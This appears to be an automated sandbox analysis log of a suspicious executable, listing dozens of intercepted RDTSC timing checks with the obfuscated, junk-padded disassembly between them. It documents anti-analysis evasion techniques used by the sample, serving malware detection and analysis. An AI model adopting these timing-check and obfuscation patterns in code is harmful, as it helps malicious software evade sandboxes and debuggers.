Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 73679D second address: 7367B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jc 00007F5504BA7166h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7367B2 second address: 7367D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5504CC35EAh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7367D7 second address: 7367DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 73686D second address: 736906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 5271BE3Fh 0x0000000d mov edx, dword ptr [ebp+122D2989h] 0x00000013 or edi, dword ptr [ebp+122D2B29h] 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+122D1F29h], ecx 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D1E21h], ebx 0x00000029 push 00000003h 0x0000002b mov dword ptr [ebp+122D3254h], edi 0x00000031 push 6059E3D9h 0x00000036 jg 00007F5504CC35F4h 0x0000003c pushad 0x0000003d jns 00007F5504CC35E6h 0x00000043 jc 00007F5504CC35E6h 0x00000049 popad 0x0000004a add dword ptr [esp], 5FA61C27h 0x00000051 jmp 00007F5504CC35F0h 0x00000056 lea ebx, dword ptr [ebp+1244C6E2h] 0x0000005c mov edx, dword ptr [ebp+122D2CA1h] 0x00000062 xchg eax, ebx 0x00000063 jmp 00007F5504CC35EBh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007F5504CC35F9h 0x00000071 pushad 0x00000072 popad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 736970 second address: 7369BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a or ebx, 3DE8ED85h 0x00000010 add dword ptr [ebp+122D1D52h], esi 0x00000016 popad 0x00000017 sub dword ptr [ebp+122D1BD2h], ecx 0x0000001d push 00000000h 0x0000001f jmp 00007F5504BA7179h 0x00000024 call 00007F5504BA7169h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F5504BA716Ah 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7369BD second address: 7369E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 jne 00007F5504CC35E6h 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7369E2 second address: 7369E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755A6D second address: 755A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F5504CC35EBh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F5504CC35EDh 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755A8F second address: 755A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755A94 second address: 755AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755D3B second address: 755D45 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5504BA7172h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755D45 second address: 755D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5504CC35E6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F5504CC35E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 755D5A second address: 755D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F5504BA7172h 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 jmp 00007F5504BA7171h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 756055 second address: 75606C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5504CC35ECh 0x00000008 pushad 0x00000009 je 00007F5504CC35E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75606C second address: 7560B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7175h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5504BA7175h 0x00000012 push ebx 0x00000013 jmp 00007F5504BA7170h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 756364 second address: 756368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 756368 second address: 75636E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75636E second address: 7563A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jns 00007F5504CC35F3h 0x0000000e jmp 00007F5504CC35F5h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7564D9 second address: 7564E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7564E1 second address: 756505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F5504CC35E6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 je 00007F5504CC35F7h 0x00000017 jmp 00007F5504CC35EBh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7567C2 second address: 7567CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7567CE second address: 7567D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7567D4 second address: 7567DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7567DC second address: 7567F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F5504CC35ECh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 756A84 second address: 756A8E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 757445 second address: 757449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7576FA second address: 757700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 757700 second address: 757704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 757704 second address: 757712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F5504BA7166h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75C07E second address: 75C082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75A95F second address: 75A983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F5504BA7166h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75C16F second address: 75C173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75F71B second address: 75F721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75F721 second address: 75F72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75F72B second address: 75F731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75F731 second address: 75F747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F5504CC35ECh 0x0000000b jne 00007F5504CC35E6h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 75F747 second address: 75F74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD02 second address: 72AD1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5504CC35F3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD1B second address: 72AD20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD20 second address: 72AD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5504CC35E6h 0x0000000a jmp 00007F5504CC35F0h 0x0000000f popad 0x00000010 jmp 00007F5504CC35F7h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD5F second address: 72AD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7175h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD7B second address: 72AD81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72AD81 second address: 72AD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7622C5 second address: 7622F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F4h 0x00000007 jmp 00007F5504CC35ECh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F5504CC3600h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7622F3 second address: 7622F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7625E8 second address: 762605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35ECh 0x00000007 jno 00007F5504CC35E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762605 second address: 76261E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F5504BA716Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76261E second address: 762622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762789 second address: 7627B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA716Bh 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5504BA7178h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762BC7 second address: 762BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762D24 second address: 762D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5504BA7166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762D30 second address: 762D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 762D35 second address: 762D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7291AC second address: 7291D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F9h 0x00000007 jo 00007F5504CC35E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7291D4 second address: 7291D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7291D9 second address: 729204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f jnc 00007F5504CC35F0h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 729204 second address: 72921F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504BA7177h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72921F second address: 729232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 766948 second address: 76694F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76694F second address: 766961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jc 00007F5504CC35F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 767A4E second address: 767A54 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 767A54 second address: 767A81 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5504CC35F0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F5504CC35EEh 0x00000013 jg 00007F5504CC35E6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 767A81 second address: 767A8B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5504BA716Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 767DE1 second address: 767DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 767E4D second address: 767E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768038 second address: 768053 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7684D0 second address: 7684E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5504BA7166h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7684E3 second address: 7684E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7684E7 second address: 7684EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7684EB second address: 7684F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76856E second address: 768572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7686E7 second address: 768710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F5504CC35EEh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7688C7 second address: 7688CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768ED6 second address: 768EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768EE0 second address: 768EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768EE4 second address: 768EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007F5504CC35ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768EF6 second address: 768EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 768FB5 second address: 768FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 769923 second address: 7699AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor dword ptr [ebp+122D2803h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5504BA7168h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+1245D1EAh], esi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F5504BA7168h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e sub dword ptr [ebp+122D1E21h], edi 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 pushad 0x00000057 jmp 00007F5504BA7175h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76A992 second address: 76A996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76A996 second address: 76A99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76B4DF second address: 76B4E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76BC79 second address: 76BC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
